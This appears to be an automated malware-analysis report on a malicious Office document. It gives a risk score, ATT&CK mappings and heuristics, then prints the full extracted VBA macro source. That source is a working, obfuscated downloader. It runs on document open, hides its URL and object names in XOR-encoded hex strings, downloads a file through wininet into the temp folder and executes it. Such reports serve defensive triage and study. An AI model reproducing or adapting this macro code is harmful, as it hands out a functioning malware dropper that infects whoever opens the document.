MALICIOUS
128
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing VBA macros. The presence of legacy WordBasic markers and the `autoopen` macro indicates an attempt to automatically execute code upon opening. The `CreateObject` call is a high-confidence indicator of malicious intent, typically used to instantiate objects for downloading or executing further stages. The VBA code is heavily obfuscated, making a precise determination of its final payload difficult, but the overall pattern suggests a downloader.
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set C21C21C21 = CreateObject(C22C22C22) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7938 bytes |
SHA-256: bb572f402661805f9921ddaf331f517decb7ff963ffef51c798a12cdc501f3fb |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub InIn()
D22D22D22D22
End Sub
Sub autoopen()
InIn
End Sub
Attribute VB_Name = "FILE6"
Option Explicit
Public Const C1C1C1A = "D25D25D25D25"
Private Const D1D1D1D1 = 8162
Private Const D2D2D2D2 As String = "D3D3D3D3D3"
Private Const D4D4D4D4 = 1
Private Const D5D5D5D5 = &H4000000
Public Function C16C16C16 _
(ByVal D6D6D6D6 As String) As Boolean
#If VBA7 _
And Win64 Then
Dim D7D7D7D7 As LongPtr, D8D8D8D8 As LongPtr
#Else
Dim D7D7D7D7 As Long, D8D8D8D8 As Long
#End If
Dim D10D10D10D10 As Long
Dim C33C33C33 As String * D1D1D1D1, D9D9D9D9 As String
Dim D11D11D11D11 As Integer, D12D12D12D12 As Double
D7D7D7D7 = C2C2C2(D2D2D2D2, D4D4D4D4, vbNullString, vbNullString, 0)
If D7D7D7D7 = 0 Then
Exit Function
End If
Dim FiGaMan As Boolean
If D15D15D15D15(D8D8D8D8, D7D7D7D7) Then
End If
If D8D8D8D8 = 0 Then
D12D12D12D12 = 0
Else
C3C3C3 D8D8D8D8, C33C33C33, D1D1D1D1, D10D10D10D10
D9D9D9D9 = C33C33C33
Do While D10D10D10D10 <> 0
C3C3C3 D8D8D8D8, C33C33C33, D1D1D1D1, D10D10D10D10
Dim Z1z1Z1z1Z1z1 As Integer
For Z1z1Z1z1Z1z1 = 110 _
To 111
If Z1z1Z1z1Z1z1 = 1000 Then _
End
Next Z1z1Z1z1Z1z1
D9D9D9D9 = D9D9D9D9 + Mid(C33C33C33, 1, D10D10D10D10)
Loop
D12D12D12D12 = D13D13D13D13(D9D9D9D9): D11D11D11D11 = FreeFile
Open D6D6D6D6 _
For Binary Access Write _
Lock Write _
As #D11D11D11D11
Put #D11D11D11D11, _
, D9D9D9D9
Dim S1s1S1s1S1s1S1s1 As _
Long
For S1s1S1s1S1s1S1s1 = 111 To 112
If S1s1S1s1S1s1S1s1 = 2000 Then _
End
Next S1s1S1s1S1s1S1s1
Close #D11D11D11D11
End If
C1C1C1 D8D8D8D8
C1C1C1 D7D7D7D7
D9D9D9D9 = ""
If D12D12D12D12 Then
C16C16C16 = True
End If
End Function
Public Function D13D13D13D13(D14D14D14D14 As String) As Long
D13D13D13D13 = Len(D14D14D14D14)
End Function
Attribute VB_Name = "PIDLE0"
#If VBA7 And Win64 Then
Public _
Declare _
PtrSafe _
Function _
C1C1C1 Lib _
"wininet.dll" Alias "InternetCloseHandle" (ByRef C26C26C26 As LongPtr) As Long
Public _
Declare _
PtrSafe _
Function _
C2C2C2 Lib _
"wininet.dll" Alias "InternetOpenA" (ByVal C27C27C27 As String, ByVal C28C28C28 As Long, ByVal C29C29C29 As String, ByVal C30C30C30 As String, ByVal C31C31C31 As Long) As LongPtr
Public _
Declare _
PtrSafe _
Function _
C3C3C3 Lib _
"wininet.dll" Alias "InternetReadFile" (ByVal C32C32C32 As LongPtr, ByVal C33C33C33 As String, ByVal C34C34C34 As Long, C35C35C35 As Long) As Integer
Public _
Declare _
PtrSafe _
Function _
C4C4C4 Lib _
"wininet.dll" Alias "InternetOpenUrlA" (ByVal C36C36C36 As LongPtr, ByVal C37C37C37 As String, ByVal C38C38C38 As String, ByVal C39C39C39 As Long, ByVal C40C40C40 As Long, ByVal C41C41C41 As Long) As LongPtr
#Else
Public Declare Function C1C1C1 Lib "wininet.dll" _
Alias "InternetCloseHandle" (ByRef C26C26C26 As Long) As Long
Public Declare Function C2C2C2 Lib "wininet.dll" _
Alias "InternetOpenA" (ByVal C27C27C27 As String, ByVal C28C28C28 As Long, ByVal C29C29C29 As String, ByVal C30C30C30 As String, ByVal C31C31C31 As Long) As Long
Public Declare Function C3C3C3 Lib "wininet.dll" _
Alias "InternetReadFile" (ByVal C32C32C32 As Long, ByVal C33C33C33 As String, ByVal C34C34C34 As Long, C35C35C35 As Long) As Integer
Public Declare Function C4C4C4 Lib "wininet.dll" _
Alias "InternetOpenUrlA" (ByVal C36C36C36 As Long, ByVal C37C37C37 As String, ByVal C38C38C38 As String, ByVal C39C39C39 As Long, ByVal C40C40C40 As Long, ByVal C41C41C41 As Long) As Long
#End If
Public Function C21C21C21() As Object
Dim C22C22C22 As String
C22C22C22 = C8C8C8(C9C9C9, C10C10C10)
Set C21C21C21 = CreateObject(C22C22C22)
End Function
Sub D22D22D22D22()
Dim D23D23D23D23 As Long
Dim D21D21D21D21S As Integer
For D21D21D21D21S = 1101 To 1110
If D21D21D21D21S = 1111 Then End
Next D21D21D21D21S
D23D23D23D23 = 111
D24D24D24D24 (D23D23D23D23)
End Sub
Attribute VB_Name = "IDL4"
Public Const C18C18C18 = "102B262F2F6A053434282D2725372A2C2D"
Public Const C19C19C19 = "1F2A3737263C30756A706A213C26"
Public Const C20C20C20 = "2B373733796B6B25282C253D2537222F222E222C6A272B296B7772756C7272776D232D22"
Public Const C10C10C10 = "1020312A33302D2A236A022D2826103A303726290B262E212730"
Public Const C9C9C9 = "CCCCCCDDDDDDDD"
Public Function CADY(ByRef CAILEIGH As Object, ByVal CAILYN As String) As Boolean
If CAILEIGH.FileExists(CAILYN) Then
CADY = True
Else
CADY = False
End If
End Function
#If VBA7 _
And Win64 Then
Public Function D15D15D15D15(ByRef CALIDA As LongPtr, CALLA As LongPtr) As Boolean
#Else
Public Function D15D15D15D15(ByRef CALIDA As Long, CALLA As Long) As Boolean
#End If
Dim CALLIDORA As String
CALLIDORA = C8C8C8(C9C9C9, C20C20C20)
CALIDA _
= C4C4C4 _
( _
CALLA, _
CALLIDORA, vbNullString, _
0, _
D5D5D5D5, 0)
D15D15D15D15 = True
End Function
Attribute VB_Name = "M"
Public Function C5C5C5(ByRef C23C23C23 As Object) As Object
Set C5C5C5 = C23C23C23.GetSpecialFolder(2)
End Function
Sub D24D24D24D24(CALEIGH As Long)
C25C25C25 ("CACACARDRDRDRD")
End Sub
Public Function C8C8C8(D16D16D16D16 As String, D17D17D17D17 As String) As String
Dim D18D18D18D18 As Integer
Dim D19D19D19D19 As Integer
Dim W1w1W1w1W1w1W1w1 As _
Long
For W1w1W1w1W1w1W1w1 = 1110 To 1111
If W1w1W1w1W1w1W1w1 = 1000 Then _
End
Next W1w1W1w1W1w1W1w1
Dim D30D30D30D30 As Long
D30D30D30D30 = D13D13D13D13(D17D17D17D17)
D30D30D30D30 = D30D30D30D30 / 2
Dim D20D20D20D20 As Long
Dim D21D21D21D21 As String
For D20D20D20D20 = 1 _
To _
D30D30D30D30
D18D18D18D18 = Val("&H" & _
(Mid$(D17D17D17D17, _
(2 * D20D20D20D20) - 1, 2)))
D19D19D19D19 = Asc(Mid$(D16D16D16D16, _
((D20D20D20D20 Mod D13D13D13D13(D16D16D16D16)) + 1), 1))
D21D21D21D21 = D21D21D21D21 + Chr(D18D18D18D18 Xor D19D19D19D19)
Next D20D20D20D20
C8C8C8 = D21D21D21D21
End Function
Public Function C25C25C25(C24C24C24 As String)
C6C6C6
End Function
Public Function C6C6C6()
Dim C7C7C7 As Object
Set C7C7C7 = C21C21C21
Dim C11C11C11 As Object
Set C11C11C11 = C5C5C5(C7C7C7)
Dim C15C15C15
Dim C12C12C12
C12C12C12 = C8C8C8(C9C9C9, C19C19C19)
C15C15C15 = C11C11C11 & C12C12C12
If CADY(C7C7C7, C15C15C15) Then
C7C7C7. _
DeleteFile C15C15C15
End If
If C16C16C16(C15C15C15) Then
End If
If CADY(C7C7C7, C15C15C15) Then
End If
Dim C17C17C17
Set C17C17C17 = CreateObject _
(C8C8C8 _
(C9C9C9, C18C18C18))
C17C17C17.Open C15C15C15
End Function
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{AF9D3870-6EF5-41CB-B46D-5784EA7A2347}{8811CEEA-2C99-497E-823B-ECCB0AAE1CD4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{DD4C0798-F0D1-405D-89FD-12933BDBD567}{1C85D6B9-0A1E-47C1-B4FB-28136EB24322}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.